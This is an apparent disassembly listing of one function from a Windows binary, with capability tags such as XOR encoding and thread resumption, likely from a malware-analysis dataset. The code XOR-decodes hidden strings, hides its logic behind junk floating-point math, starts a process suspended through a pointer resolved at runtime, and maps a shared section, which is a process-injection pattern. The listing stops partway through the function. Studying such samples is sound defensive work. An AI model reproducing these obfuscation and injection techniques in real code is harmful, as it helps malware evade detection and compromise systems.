Function at 0x100108f0
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031d60
mov eax, dword fs:[0]
push eax
sub esp, 0x964
mov eax, dword [0x1003a008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x918], edx
mov dword [ebp - 0x92c], ecx
push 0x44
lea eax, [ebp - 0x970]
push 0
push eax
call fcn.1001fb10
push 0x2cc
lea eax, [ebp - 0x8f8]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x928], xmm0
call fcn.1001fb10
add esp, 0x18
mov dword [ebp - 0x62c], 0
xor eax, eax
mov dword [ebp - 0x61c], 0
lea ecx, [ebp - 0x62c]
mov dword [ebp - 0x618], 7
mov word [ebp - 0x62c], ax
push eax
push 0x10037c8c
call fcn.1000a3a0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x590]
movsd xmm0, qword [0x10037db8]
movsd qword [0x1003a920], xmm0
movsd xmm0, qword [0x10037dd8]
movsd qword [0x1003a910], xmm0
movsd xmm0, qword [0x10037dc0]
push 0x400
movsd qword [0x1003a928], xmm0
movsd xmm0, qword [0x10037db0]
push 0
push eax
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x90c], 0
movsd qword [0x1003a918], xmm0
call fcn.1001fb10
add esp, 0xc
lea eax, [ebp - 0x590]
push 0
push 0x29
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x62c]
call fcn.1000a150
movsd xmm3, qword [0x1003a928]
lea ecx, [ebp - 0x62c]
movsd xmm1, qword [0x1003a918]
movaps xmm4, xmm3
mulsd xmm4, qword [0x1003a910]
movaps xmm2, xmm1
push 0x10037d54
mulsd xmm2, xmm3
addsd xmm4, qword [0x1003a920]
addsd xmm2, qword [0x1003a910]
movaps xmm0, xmm4
movsd qword [0x1003a920], xmm4
mulsd xmm0, xmm1
movsd qword [0x1003a910], xmm2
mulsd xmm2, xmm4
addsd xmm0, xmm3
addsd xmm2, xmm1
movsd qword [0x1003a928], xmm0
movsd qword [0x1003a918], xmm2
call fcn.1000a150
xorps xmm0, xmm0
mov dword [ebp - 0x598], 0xe1eaf6f0
movups xmmword [ebp - 0x130], xmm0
mov word [ebp - 0x594], 0xebea
xor ecx, ecx
movups xmmword [ebp - 0x120], xmm0
mov byte [ebp - 0x592], 0
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x598], al
inc ecx
cmp ecx, 6
jb 0x10010ad0
xor eax, eax
mov byte [ebp - 0x592], 0
cmp byte [ebp - 0x130], al
je 0x10010afc
inc eax
cmp byte [ebp + eax - 0x130], 0
jne 0x10010af1
lea edi, [ebp - 0x130]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x5fc], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x904], edi
lea esi, [ebp - 0x598]
mov dword [ebp - 0x5f8], 0xb9bbbdb7
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0x5f4], 0
xor ecx, ecx
movups xmmword [ebp - 0xe0], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5fc], al
inc ecx
cmp ecx, 8
jb 0x10010b50
mov al, byte [ebp - 0x5fc]
mov byte [ebp - 0x5f4], 0
mov byte [ebp - 0xf0], al
test al, al
je 0x10010b95
xor ecx, ecx
nop dword [eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x5fc]
mov byte [ebp + ecx - 0xf0], al
test al, al
jne 0x10010b80
movsx ecx, byte [ebp - 0x598]
mov al, cl
mov dword [ebp - 0x908], ecx
add al, al
add cl, al
add cl, byte [ebp - 0xf0]
inc cl
mov byte [ebp - 0xf0], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0xf0]
cdq
idiv ecx
movzx eax, byte [ebp - 0xef]
or edx, dword [ebp - 0x908]
add al, dl
mov edx, 3
mov byte [ebp - 0xef], al
movzx eax, byte [ebp - 0xef]
mov cl, byte [ebp - 0xf0]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0xed]
mov byte [ebp - 0xed], cl
movsx ecx, byte [ebp - 0xed]
movzx eax, byte [ebp - 0xec]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0xec], al
nop dword [eax]
movsx ecx, byte [ebp + edx - 0xf0]
movsx eax, byte [ebp + edx - 0xf1]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x10010c20
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x904]
test edx, edx
jne 0x10010c9f
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10010c78
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x598]
lea ecx, [ebp - 0x598]
mov byte [edi], al
test al, al
je 0x10010cc0
mov eax, ecx
sub edi, eax
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [edi + ecx], al
test al, al
jne 0x10010c90
jmp 0x10010cc0
mov al, byte [ebp - 0x598]
mov byte [edi], al
test al, al
je 0x10010cc0
lea eax, [ebp - 0x598]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [edi + esi], al
test al, al
jne 0x10010cb3
mov dword [ebp - 0x5a0], 0xe0aab1b1
xor ecx, ecx
mov word [ebp - 0x59c], 0xe2fe
mov byte [ebp - 0x59a], 0
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5a0], al
inc ecx
cmp ecx, 6
jb 0x10010ce0
xor eax, eax
mov byte [ebp - 0x59a], 0
cmp byte [ebp - 0x130], al
je 0x10010d0c
inc eax
cmp byte [ebp + eax - 0x130], 0
jne 0x10010d01
lea edi, [ebp - 0x130]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x608], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x5a0]
mov dword [ebp - 0x604], 0xb9bbbdb7
movups xmmword [ebp - 0xd0], xmm0
mov byte [ebp - 0x600], 0
xor ecx, ecx
movups xmmword [ebp - 0xc0], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x608], al
inc ecx
cmp ecx, 8
jb 0x10010d60
mov al, byte [ebp - 0x608]
mov byte [ebp - 0x600], 0
mov byte [ebp - 0xd0], al
test al, al
je 0x10010da5
xor ecx, ecx
nop dword [eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x608]
mov byte [ebp + ecx - 0xd0], al
test al, al
jne 0x10010d90
movsx ecx, byte [ebp - 0x5a0]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0xd0]
inc cl
mov byte [ebp - 0xd0], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0xd0]
cdq
idiv ecx
movzx eax, byte [ebp - 0xcf]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0xcf], al
movzx eax, byte [ebp - 0xcf]
mov cl, byte [ebp - 0xd0]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0xcd]
mov byte [ebp - 0xcd], cl
movsx ecx, byte [ebp - 0xcd]
movzx eax, byte [ebp - 0xcc]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0xcc], al
nop dword [eax]
movsx ecx, byte [ebp + edx - 0xd0]
movsx eax, byte [ebp + edx - 0xd1]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x10010e30
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x10010eaf
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10010e88
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x5a0]
lea ecx, [ebp - 0x5a0]
mov byte [edi], al
test al, al
je 0x10010ed0
mov eax, ecx
sub edi, eax
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [edi + ecx], al
test al, al
jne 0x10010ea0
jmp 0x10010ed0
mov al, byte [ebp - 0x5a0]
mov byte [edi], al
test al, al
je 0x10010ed0
lea eax, [ebp - 0x5a0]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [edi + esi], al
test al, al
jne 0x10010ec3
push 0x40
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.1001fb10
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x190]
push 0x10037bd4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x62c]
push eax
call fcn.1000a150
movsd xmm4, qword [0x1003a920]
xor ecx, ecx
movsd xmm5, qword [0x10037da8]
movaps xmm0, xmm4
movsd xmm3, qword [0x1003a918]
addsd xmm0, xmm5
movsd xmm2, qword [0x1003a910]
movsd xmm1, qword [0x1003a928]
mov dword [ebp - 0x5a8], 0xe4e1f1c1
mov word [ebp - 0x5a4], 0xe2f2
divsd xmm3, xmm0
mov byte [ebp - 0x5a2], 0
movaps xmm0, xmm2
addsd xmm0, xmm5
addsd xmm3, xmm2
divsd xmm4, xmm0
movaps xmm0, xmm1
movsd qword [0x1003a918], xmm3
addsd xmm0, xmm5
addsd xmm4, xmm1
divsd xmm2, xmm0
xorps xmm0, xmm0
movsd qword [0x1003a920], xmm4
addsd xmm2, xmm3
addsd xmm3, xmm5
movups xmmword [ebp - 0x110], xmm0
movups xmmword [ebp - 0x100], xmm0
divsd xmm1, xmm3
movsd qword [0x1003a910], xmm2
addsd xmm1, xmm4
movsd qword [0x1003a928], xmm1
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5a8], al
inc ecx
cmp ecx, 6
jb 0x10010fc0
xor eax, eax
mov byte [ebp - 0x5a2], 0
cmp byte [ebp - 0x110], al
je 0x10010fec
inc eax
cmp byte [ebp + eax - 0x110], 0
jne 0x10010fe1
lea edi, [ebp - 0x110]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x614], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x5a8]
mov dword [ebp - 0x610], 0xb9bbbdb7
movups xmmword [ebp - 0xb0], xmm0
mov byte [ebp - 0x60c], 0
xor ecx, ecx
movups xmmword [ebp - 0xa0], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x614], al
inc ecx
cmp ecx, 8
jb 0x10011040
mov al, byte [ebp - 0x614]
mov byte [ebp - 0x60c], 0
mov byte [ebp - 0xb0], al
test al, al
je 0x10011085
xor ecx, ecx
nop dword [eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x614]
mov byte [ebp + ecx - 0xb0], al
test al, al
jne 0x10011070
movsx ecx, byte [ebp - 0x5a8]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0xb0]
inc cl
mov byte [ebp - 0xb0], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0xb0]
cdq
idiv ecx
movzx eax, byte [ebp - 0xaf]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0xaf], al
movzx eax, byte [ebp - 0xaf]
mov cl, byte [ebp - 0xb0]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0xad]
mov byte [ebp - 0xad], cl
movsx ecx, byte [ebp - 0xad]
movzx eax, byte [ebp - 0xac]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0xac], al
nop dword [eax]
movsx ecx, byte [ebp + edx - 0xb0]
movsx eax, byte [ebp + edx - 0xb1]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x10011110
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x1001118f
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10011168
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x5a8]
lea ecx, [ebp - 0x5a8]
mov byte [edi], al
test al, al
je 0x100111b0
mov eax, ecx
sub edi, eax
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [edi + ecx], al
test al, al
jne 0x10011180
jmp 0x100111b0
mov al, byte [ebp - 0x5a8]
mov byte [edi], al
test al, al
je 0x100111b0
lea eax, [ebp - 0x5a8]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [edi + esi], al
test al, al
jne 0x100111a3
mov dword [ebp - 0x5b0], 0xe6ebf1d2
xor ecx, ecx
mov word [ebp - 0x5ac], 0xf4e3
mov byte [ebp - 0x5aa], 0
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5b0], al
inc ecx
cmp ecx, 6
jb 0x100111d0
xor eax, eax
mov byte [ebp - 0x5aa], 0
cmp byte [ebp - 0x110], al
je 0x100111fc
inc eax
cmp byte [ebp + eax - 0x110], 0
jne 0x100111f1
lea edi, [ebp - 0x110]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x5cc], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x5b0]
mov dword [ebp - 0x5c8], 0xb9bbbdb7
movups xmmword [ebp - 0x90], xmm0
mov byte [ebp - 0x5c4], 0
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5cc], al
inc ecx
cmp ecx, 8
jb 0x10011245
mov al, byte [ebp - 0x5cc]
mov byte [ebp - 0x5c4], 0
mov byte [ebp - 0x90], al
test al, al
je 0x10011285
xor ecx, ecx
nop
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x5cc]
mov byte [ebp + ecx - 0x90], al
test al, al
jne 0x10011270
movsx ecx, byte [ebp - 0x5b0]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0x90]
inc cl
mov byte [ebp - 0x90], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0x90]
cdq
idiv ecx
movzx eax, byte [ebp - 0x8f]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0x8f], al
movzx eax, byte [ebp - 0x8f]
mov cl, byte [ebp - 0x90]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0x8d]
mov byte [ebp - 0x8d], cl
movsx ecx, byte [ebp - 0x8d]
movzx eax, byte [ebp - 0x8c]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0x8c], al
nop dword [eax]
movsx ecx, byte [ebp + edx - 0x90]
movsx eax, byte [ebp + edx - 0x91]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x10011310
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x1001138f
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10011368
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x5b0]
lea ecx, [ebp - 0x5b0]
mov byte [edi], al
test al, al
je 0x100113b0
mov eax, ecx
sub edi, eax
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [edi + ecx], al
test al, al
jne 0x10011380
jmp 0x100113b0
mov al, byte [ebp - 0x5b0]
mov byte [edi], al
test al, al
je 0x100113b0
lea eax, [ebp - 0x5b0]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [edi + esi], al
test al, al
jne 0x100113a3
mov word [ebp - 0x900], 0xd4f1
xor ecx, ecx
mov byte [ebp - 0x8fe], 0
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x900], al
inc ecx
cmp ecx, 2
jb 0x100113c2
xor eax, eax
mov byte [ebp - 0x8fe], 0
cmp byte [ebp - 0x110], al
je 0x100113ee
inc eax
cmp byte [ebp + eax - 0x110], 0
jne 0x100113e3
lea edi, [ebp - 0x110]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x5d8], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x900]
mov dword [ebp - 0x5d4], 0xb9bbbdb7
movups xmmword [ebp - 0x70], xmm0
mov byte [ebp - 0x5d0], 0
xor ecx, ecx
movups xmmword [ebp - 0x60], xmm0
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5d8], al
inc ecx
cmp ecx, 8
jb 0x10011434
mov al, byte [ebp - 0x5d8]
mov byte [ebp - 0x5d0], 0
mov byte [ebp - 0x70], al
test al, al
je 0x10011472
xor ecx, ecx
nop word [eax + eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x5d8]
mov byte [ebp + ecx - 0x70], al
test al, al
jne 0x10011460
movsx ecx, byte [ebp - 0x900]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0x70]
inc cl
mov byte [ebp - 0x70], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0x70]
cdq
idiv ecx
movzx eax, byte [ebp - 0x6f]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0x6f], al
movzx eax, byte [ebp - 0x6f]
mov cl, byte [ebp - 0x70]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0x6d]
mov byte [ebp - 0x6d], cl
movsx ecx, byte [ebp - 0x6d]
movzx eax, byte [ebp - 0x6c]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0x6c], al
movsx ecx, byte [ebp + edx - 0x70]
movsx eax, byte [ebp + edx - 0x71]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x100114d2
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x1001154f
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10011524
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x900]
lea ecx, [ebp - 0x900]
mov byte [edi], al
test al, al
je 0x10011570
mov eax, ecx
sub edi, eax
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [edi + ecx], al
test al, al
jne 0x10011540
jmp 0x10011570
mov al, byte [ebp - 0x900]
mov byte [edi], al
test al, al
je 0x10011570
lea eax, [ebp - 0x900]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [edi + esi], al
test al, al
jne 0x10011563
xorps xmm0, xmm0
mov dword [ebp - 0x5b8], 0xebf6e6e9
movups xmmword [ebp - 0x150], xmm0
mov word [ebp - 0x5b4], 0xebe3
xor ecx, ecx
movups xmmword [ebp - 0x140], xmm0
mov byte [ebp - 0x5b2], 0
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5b8], al
inc ecx
cmp ecx, 6
jb 0x100115a0
xor eax, eax
mov byte [ebp - 0x5b2], 0
cmp byte [ebp - 0x150], al
je 0x100115cc
inc eax
cmp byte [ebp + eax - 0x150], 0
jne 0x100115c1
lea edi, [ebp - 0x150]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x5e4], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x5b8]
mov dword [ebp - 0x5e0], 0xb9bbbdb7
movups xmmword [ebp - 0x50], xmm0
mov byte [ebp - 0x5dc], 0
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5e4], al
inc ecx
cmp ecx, 8
jb 0x10011612
mov al, byte [ebp - 0x5e4]
mov byte [ebp - 0x5dc], 0
mov byte [ebp - 0x50], al
test al, al
je 0x10011652
xor ecx, ecx
nop dword [eax + eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x5e4]
mov byte [ebp + ecx - 0x50], al
test al, al
jne 0x10011640
movsx ecx, byte [ebp - 0x5b8]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0x50]
inc cl
mov byte [ebp - 0x50], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0x50]
cdq
idiv ecx
movzx eax, byte [ebp - 0x4f]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0x4f], al
movzx eax, byte [ebp - 0x4f]
mov cl, byte [ebp - 0x50]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0x4d]
mov byte [ebp - 0x4d], cl
movsx ecx, byte [ebp - 0x4d]
movzx eax, byte [ebp - 0x4c]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0x4c], al
movsx ecx, byte [ebp + edx - 0x50]
movsx eax, byte [ebp + edx - 0x51]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x100116b2
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x1001172f
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x10011704
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x5b8]
lea ecx, [ebp - 0x5b8]
mov byte [edi], al
test al, al
je 0x10011750
mov eax, ecx
sub edi, eax
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [ecx + edi], al
test al, al
jne 0x10011720
jmp 0x10011750
mov al, byte [ebp - 0x5b8]
mov byte [edi], al
test al, al
je 0x10011750
lea eax, [ebp - 0x5b8]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [esi + edi], al
test al, al
jne 0x10011743
mov dword [ebp - 0x5c0], 0xe1aab1b1
xor ecx, ecx
mov word [ebp - 0x5bc], 0xebea
mov byte [ebp - 0x5ba], 0
nop dword [eax]
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5c0], al
inc ecx
cmp ecx, 6
jb 0x10011770
xor eax, eax
mov byte [ebp - 0x5ba], 0
cmp byte [ebp - 0x150], al
je 0x1001179c
inc eax
cmp byte [ebp + eax - 0x150], 0
jne 0x10011791
lea edi, [ebp - 0x150]
mov dword [ebp - 0x8fc], 0
add edi, eax
mov dword [ebp - 0x5f0], 0xb1beb3b0
xorps xmm0, xmm0
mov dword [ebp - 0x908], edi
lea esi, [ebp - 0x5c0]
mov dword [ebp - 0x5ec], 0xb9bbbdb7
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x5e8], 0
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
lea eax, [ecx - 0x7e]
xor byte [ebp + ecx - 0x5f0], al
inc ecx
cmp ecx, 8
jb 0x100117e2
mov al, byte [ebp - 0x5f0]
mov byte [ebp - 0x5e8], 0
mov byte [ebp - 0x30], al
test al, al
je 0x10011822
xor ecx, ecx
nop dword [eax + eax]
lea ecx, [ecx + 1]
mov al, byte [ebp + ecx - 0x5f0]
mov byte [ebp + ecx - 0x30], al
test al, al
jne 0x10011810
movsx ecx, byte [ebp - 0x5c0]
mov al, cl
mov dword [ebp - 0x904], ecx
add al, al
add cl, al
add cl, byte [ebp - 0x30]
inc cl
mov byte [ebp - 0x30], cl
mov ecx, 0xc
movsx eax, byte [ebp - 0x30]
cdq
idiv ecx
movzx eax, byte [ebp - 0x2f]
or edx, dword [ebp - 0x904]
add al, dl
mov edx, 3
mov byte [ebp - 0x2f], al
movzx eax, byte [ebp - 0x2f]
mov cl, byte [ebp - 0x30]
and cl, al
add cl, cl
dec cl
add cl, byte [ebp - 0x2d]
mov byte [ebp - 0x2d], cl
movsx ecx, byte [ebp - 0x2d]
movzx eax, byte [ebp - 0x2c]
sar ecx, 6
add al, cl
xor edi, edi
mov byte [ebp - 0x2c], al
movsx ecx, byte [ebp + edx - 0x30]
movsx eax, byte [ebp + edx - 0x31]
add ecx, ecx
add eax, ecx
inc edx
lea edi, [edi + eax*2]
cmp edx, 0x11
jl 0x10011882
mov eax, dword [ebp - 0x8fc]
lea ecx, [eax*2 + 0x31]
mov eax, edi
cdq
idiv ecx
mov edi, dword [ebp - 0x908]
test edx, edx
jne 0x100118ff
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0xe
jle 0x100118d4
mov dword [ebp - 0x8fc], 1
mov al, byte [ebp - 0x5c0]
lea ecx, [ebp - 0x5c0]
mov byte [edi], al
test al, al
je 0x10011920
mov eax, ecx
sub edi, eax
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
mov byte [ecx + edi], al
test al, al
jne 0x100118f0
jmp 0x10011920
mov al, byte [ebp - 0x5c0]
mov byte [edi], al
test al, al
je 0x10011920
lea eax, [ebp - 0x5c0]
sub edi, eax
mov al, byte [esi + 1]
lea esi, [esi + 1]
mov byte [esi + edi], al
test al, al
jne 0x10011913
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x150]
call fcn.1001ce80
mov ecx, eax
test ecx, ecx
jne 0x1001193f
or esi, 0xffffffff
jmp 0x10011e1a
movsd xmm3, qword [0x1003a918]
lea edx, [ebp - 0x928]
movsd xmm6, qword [0x10037da8]
lea eax, [ebp - 0x62c]
movsd xmm5, qword [0x1003a928]
movaps xmm1, xmm3
addsd xmm1, xmm6
movsd xmm4, qword [0x1003a910]
movaps xmm0, xmm5
movsd xmm2, qword [0x1003a920]
cmp dword [ebp - 0x618], 8
push edx
cmovae eax, dword [ebp - 0x62c]
lea edx, [ebp - 0x970]
divsd xmm0, xmm1
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push eax
movaps xmm1, xmm3
subsd xmm4, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm6
movsd qword [0x1003a910], xmm4
divsd xmm1, xmm0
movaps xmm0, xmm4
subsd xmm5, xmm1
movaps xmm1, xmm2
addsd xmm0, xmm6
movsd qword [0x1003a928], xmm5
addsd xmm5, xmm6
divsd xmm1, xmm0
divsd xmm4, xmm5
subsd xmm3, xmm1
subsd xmm2, xmm4
movsd qword [0x1003a918], xmm3
movsd qword [0x1003a920], xmm2
call ecx
test eax, eax
jne 0x10011a08
or esi, 0xffffffff
jmp 0x10011d54
movsd xmm3, qword [0x1003a918]
movsd xmm1, qword [0x1003a910]
movaps xmm4, xmm3
mulsd xmm4, qword [0x1003a928]
movaps xmm0, xmm1
mov edi, dword [ebp - 0x918]
movsd xmm2, qword [0x1003a920]
mulsd xmm0, xmm2
push 0
subsd xmm4, xmm2
mulsd xmm3, xmm2
push edi
push 0
push 0x40
push 0
subsd xmm0, xmm4
movsd qword [0x1003a928], xmm4
subsd xmm3, xmm1
mulsd xmm4, xmm1
push 0xffffffffffffffff
movsd qword [0x1003a920], xmm0
subsd xmm4, xmm3
movsd qword [0x1003a918], xmm3
movsd qword [0x1003a910], xmm4
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
mov dword [ebp - 0x90c], esi
test esi, esi
jne 0x10011a97
mov esi, 0xfffffffe
jmp 0x10011d54
movsd xmm3, qword [0x1003a918]
movsd xmm1, qword [0x1003a910]
movaps xmm4, xmm3
mulsd xmm4, qword [0x1003a928]
movaps xmm0, xmm1
push edi
movsd xmm2, qword [0x1003a920]
mulsd xmm0, xmm2
push 0
subsd xmm4, xmm2
mulsd xmm3, xmm2
push 0
push 2
push esi
subsd xmm0, xmm4
movsd qword [0x1003a928], xmm4
subsd xmm3, xmm1
mulsd xmm4, xmm1
movsd qword [0x1003a920], xmm0
subsd xmm4, xmm3
movsd qword [0x1003a918], xmm3
movsd qword [0x1003a910], xmm4
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x910], eax
test eax, eax
jne 0x10011b1b
mov esi, 0xfffffffd
jmp 0x10011d54
test edi, edi
je 0x10011b51
mov ecx, dword [ebp - 0x92c]
push edi
test ecx, ecx
je 0x10011b36
push ecx
push eax
call fcn.10021000
add esp, 0xc
jmp 0x10011b51
push 0
push eax
call fcn.1001fb10
add esp, 0xc
call fcn.10023de7
mov dword [eax], 0x16
call fcn.10023c4c
mov edx, dword [ebp - 0x928]
lea ecx, [ebp - 0x914]
push esi
mov dword [ebp - 0x914], 0
call fcn.1000fd00
add esp, 4
test eax, eax
je 0x10011b7e
mov esi, 0xfffffffc
jmp 0x10011d54
movsd xmm3, qword [0x1003a928]
